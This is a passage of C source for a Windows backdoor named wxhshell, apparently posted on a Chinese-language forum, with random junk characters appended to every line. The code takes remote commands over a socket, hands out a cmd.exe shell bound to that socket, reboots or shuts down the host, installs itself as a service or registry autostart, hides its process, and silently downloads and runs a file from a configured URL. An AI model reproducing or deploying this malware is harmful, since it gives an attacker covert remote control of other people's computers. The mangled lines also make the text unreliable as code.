  case '?': {  oQrkd:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T~nmEap  
    break; 9d7$Fz#  
  } +^St"GWY  
  // 安装 {9 >jWNx  
  case 'i': { @K 8sNPK  
    if(Install()) @wWro?s'p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!Kk7 !^|  
    else Y.O/~af  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zSYh\g"  
    break; ZMSP8(V  
    } 0]dL;~0y.  
  // 卸载 Kvu0Av-7  
  case 'r': { kf3yJP/  
    if(Uninstall()) W$x'+t5H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3=U|wr|  
    else S`LS/)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z0;+.E!  
    break; KrQ8//Ih  
    } Rt$Q *`u   
  // 显示 wxhshell 所在路径 #+2|ZfCn%  
  case 'p': { wvAXt*R  
    char svExeFile[MAX_PATH]; >Q0HqOq  
    strcpy(svExeFile,"\n\r"); *mQOW]x%  
      strcat(svExeFile,ExeFile); 3>[_2}l  
        send(wsh,svExeFile,strlen(svExeFile),0); Z4\$h1tl  
    break; v{ F/Bifo  
    } :)GtPTD  
  // 重启 \W<r`t4v  
  case 'b': { x,Im%!h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M(,npW  
    if(Boot(REBOOT)) #ii,GN~N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Xjr0 C+  
    else { Nz+Jf57t  
    closesocket(wsh); I("J$  
    ExitThread(0); .\0PyV(  
    } LoHL}1BG-  
    break; :/HfMJ  
    } kan?2x  
  // 关机 ^-3R+U- S  
  case 'd': { 90%alG 1>y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tUXq!r<'dT  
    if(Boot(SHUTDOWN)) 3|/<Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'F'v/G~F  
    else { ';buS -|6  
    closesocket(wsh); kRBPl9 9  
    ExitThread(0); nw3CI&Y`  
    } LTsG  
    break; o0:[,ock  
    } &H!#jh\w  
  // 获取shell \JBJ$lBL  
  case 's': { h9)QQPP  
    CmdShell(wsh); dm60O8  
    closesocket(wsh); U?u0|Y+  
    ExitThread(0); eMf+b;~R  
    break; ;!(.hCHvr  
  } ;J3az`  
  // 退出 IrU}%ZVV  
  case 'x': { x\vb@!BZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LPgP;%ohO/  
    CloseIt(wsh); Lh~Ym<CeN  
    break; b {e nD  
    } 8=^o2&  
  // 离开 MtAD&+3$  
  case 'q': { m/"\+Hv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z:|2PQ4  
    closesocket(wsh); (ilU<Ht  
    WSACleanup(); F`9;s@V*  
    exit(1); M2ig iR  
    break; i"uAT$xe  
        } !$'s?rnh  
  } j|f$:j  
  } fDmGgD?  
%(`4wo},  
  // 提示信息 pb~&gliW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c43" o  
} 6a G/=fq  
  } _DChNX   
iP1u u  
  return; Ws[[Me, =  
} ]p(jL7  
<tZPS`c'_  
// shell模块句柄 1MdVWFKXV  
int CmdShell(SOCKET sock) B9;-Blh  
{ UOrf wK  
STARTUPINFO si; jP6;~[rl  
ZeroMemory(&si,sizeof(si)); .^^YS$%%7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[x) %5F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "1rZwFI0l  
PROCESS_INFORMATION ProcessInfo; tk5Bb`a  
char cmdline[]="cmd"; z<~gv"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 24 S,w>j  
  return 0; t@-:e^ v  
} v~:$]a8  
3\6 UH  
// 自身启动模式 T!o 4k  
int StartFromService(void) rt5UT~  
{ Lxm1.TOJ  
typedef struct K#g)t/SZ  
{ JcxhI]E  
  DWORD ExitStatus; x\j6=|  
  DWORD PebBaseAddress; |2!/<%Yr`  
  DWORD AffinityMask; /U[Y w)  
  DWORD BasePriority; .}.5|z} A  
  ULONG UniqueProcessId; yKEE @@}\  
  ULONG InheritedFromUniqueProcessId; KYY~ YP  
}   PROCESS_BASIC_INFORMATION; v2 [ l$  
*B(na+  
PROCNTQSIP NtQueryInformationProcess; ,D-VC{lj  
fG O.wb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X%!#Ic]Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kWL\JDZ`.  
=V:rO;qX+@  
  HANDLE             hProcess; 5Bw  
  PROCESS_BASIC_INFORMATION pbi; 3`4g*wO  
z;UkK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %k#Q) zWJ  
  if(NULL == hInst ) return 0; dX0A(6  
G0$ 1"9u\w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zs!)w9y&V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y3jb 'S4(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DUiqt09`~  
fL4F ~@`9l  
  if (!NtQueryInformationProcess) return 0; =8 d`qS"  
): C4"2l3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {{ M?+]p,^  
  if(!hProcess) return 0; +0;n t  
F(/^??<5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Owalt4}C  
+vfk+6  
  CloseHandle(hProcess); 4RsV\Y{FN  
+ib72j%A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R,01.N( U  
if(hProcess==NULL) return 0; %(b`i C9  
r7sPFM  
HMODULE hMod; Nzz" w_#  
char procName[255]; uj_u j!  
unsigned long cbNeeded; r?d601(fa  
d; \x 'h2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NMY~f (x  
7,ODh-?ez  
  CloseHandle(hProcess); ,dKcxp~[  
5nzk Zw  
if(strstr(procName,"services")) return 1; // 以服务启动 )` S,vF~  
GOHRBV  
  return 0; // 注册表启动 JI5?, )-St  
} ^lB'7#7  
%"@KuqV  
// 主模块 $xmlt vaF  
int StartWxhshell(LPSTR lpCmdLine) S'vi +_  
{ nn$,|/  
  SOCKET wsl; D %~s  
BOOL val=TRUE; >1xlP/4jx  
  int port=0; he&*N*of:  
  struct sockaddr_in door; M~;Ww-./  
hRSRz5 J}  
  if(wscfg.ws_autoins) Install(); t#oJr2  
zzy%dc  
port=atoi(lpCmdLine); H-?SlVsf  
a9}cpfG=)  
if(port<=0) port=wscfg.ws_port; EP7L5GZ-a  
F?e_$\M  
  WSADATA data; <LQwH23@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u*Eb4  
/r Zj=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "YHqls}c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 31k.{dnm  
  door.sin_family = AF_INET; C/ow{MxA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9f;\fe  
  door.sin_port = htons(port); ~:Dr]kt  
<oTIzj7f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `TKe+oS)  
closesocket(wsl); a /X@5kr{  
return 1; "#d}S)GlXM  
} I :%(nKBK  
'~%1p_0dq  
  if(listen(wsl,2) == INVALID_SOCKET) { 2J9_(w  
closesocket(wsl); 'x lK_Z  
return 1; 95>(NwST4  
} (F~i  
  Wxhshell(wsl); +mE y7qM  
  WSACleanup(); OT{wqNI  
;OTD1=  
return 0; ZffK];D  
4&~1|B{Z  
} CHv~H.kh'  
z#GZvB/z)  
// 以NT服务方式启动 Hb=4k)-/]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cD Z]r@AQ  
{ 0Z8K+,'!  
DWORD   status = 0; rgdDkWLXC  
  DWORD   specificError = 0xfffffff;  #-1 ;  
M?x/C2|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |2AK~t|t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j%Y`2Ra  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V9NE kS  
  serviceStatus.dwWin32ExitCode     = 0; & ,2XrXiFu  
  serviceStatus.dwServiceSpecificExitCode = 0; 6<.Ma7)lA  
  serviceStatus.dwCheckPoint       = 0; i[H`u,%+(  
  serviceStatus.dwWaitHint       = 0; [2~Et+r6g  
8v\BW^z3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xR q|W4ay  
  if (hServiceStatusHandle==0) return; B<J} YN  
ZJ'#XZpr  
status = GetLastError(); Eic/#j{4  
  if (status!=NO_ERROR) ko*Ir@SDv  
{ U-#wFc2N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I0.{OJ-  
    serviceStatus.dwCheckPoint       = 0; SaMg)s~B  
    serviceStatus.dwWaitHint       = 0; XLz>h(w=  
    serviceStatus.dwWin32ExitCode     = status; #GT/Q3{C  
    serviceStatus.dwServiceSpecificExitCode = specificError; u)y6$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J,%v`A~ N  
    return; yYwZZa1  
  } b;`gxXeL  
lhva|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bEyZRG  
  serviceStatus.dwCheckPoint       = 0; &z8@  rk|  
  serviceStatus.dwWaitHint       = 0; ,]\L\ V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NGtSC_~d  
} 7'z{FS S  
w`&~m:R  
// 处理NT服务事件,比如:启动、停止 "detDB   
VOID WINAPI NTServiceHandler(DWORD fdwControl) s"?Z jV)`  
{ F\F_">5  
switch(fdwControl) f1y3l1/  
{ f/&gR5  
case SERVICE_CONTROL_STOP: vzM8U>M  
  serviceStatus.dwWin32ExitCode = 0; 2Kovvh y#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (4o_\&  
  serviceStatus.dwCheckPoint   = 0; wP8Wx~Q=  
  serviceStatus.dwWaitHint     = 0; !E8y!|7$  
  { aFGEHZJQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s'qd%JxD  
  } 4*< x0  
  return; Y^Y|\0  
case SERVICE_CONTROL_PAUSE: 2'Cwx-_G`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .;)7)%  
  break; W0J d2*]  
case SERVICE_CONTROL_CONTINUE: XdjM/hB{fD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Md mS  
  break; {.qeVE{  
case SERVICE_CONTROL_INTERROGATE: 5P-7"g ca  
  break; fmrd 7*MW  
}; \/J>I1J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }m0* w3  
} =~6A c}$  
6^y*A!xY  
// 标准应用程序主函数 xCGa3X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jU.z{(s  
{ _[u&}i  
:6~Nq/hZB  
// 获取操作系统版本 wO9|_.Z{  
OsIsNt=GetOsVer(); ej,j1iB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k/o"E  
EKo!vie G  
  // 从命令行安装 _b|mSo,{Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ui%B|b&&  
rT7W_[&P  
  // 下载执行文件 WyciIO1  
if(wscfg.ws_downexe) { IA I!a1e!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~ (bY-6z  
  WinExec(wscfg.ws_filenam,SW_HIDE); S^(OjS  
} w#mnab@  
$X<O\Kna  
if(!OsIsNt) { l*~O;do  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?!TFoD2'  
HideProc(); {~q"Y]?  
StartWxhshell(lpCmdLine); `u6CuH5  
} Yw @)0%G  
else @i2"+_}*  
  if(StartFromService()) /iURP-rl  
  // 以服务方式启动 kT)[<`p  
  StartServiceCtrlDispatcher(DispatchTable); V&)Jvx}^  
else v6=pV4k9  
  // 普通方式启动 )tYu3*'  
  StartWxhshell(lpCmdLine); " E+V >V+  
Cge@A'2  
return 0; yTJ Eo\g/@  
}
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只看该作者 1 发表于: 2006-10-10
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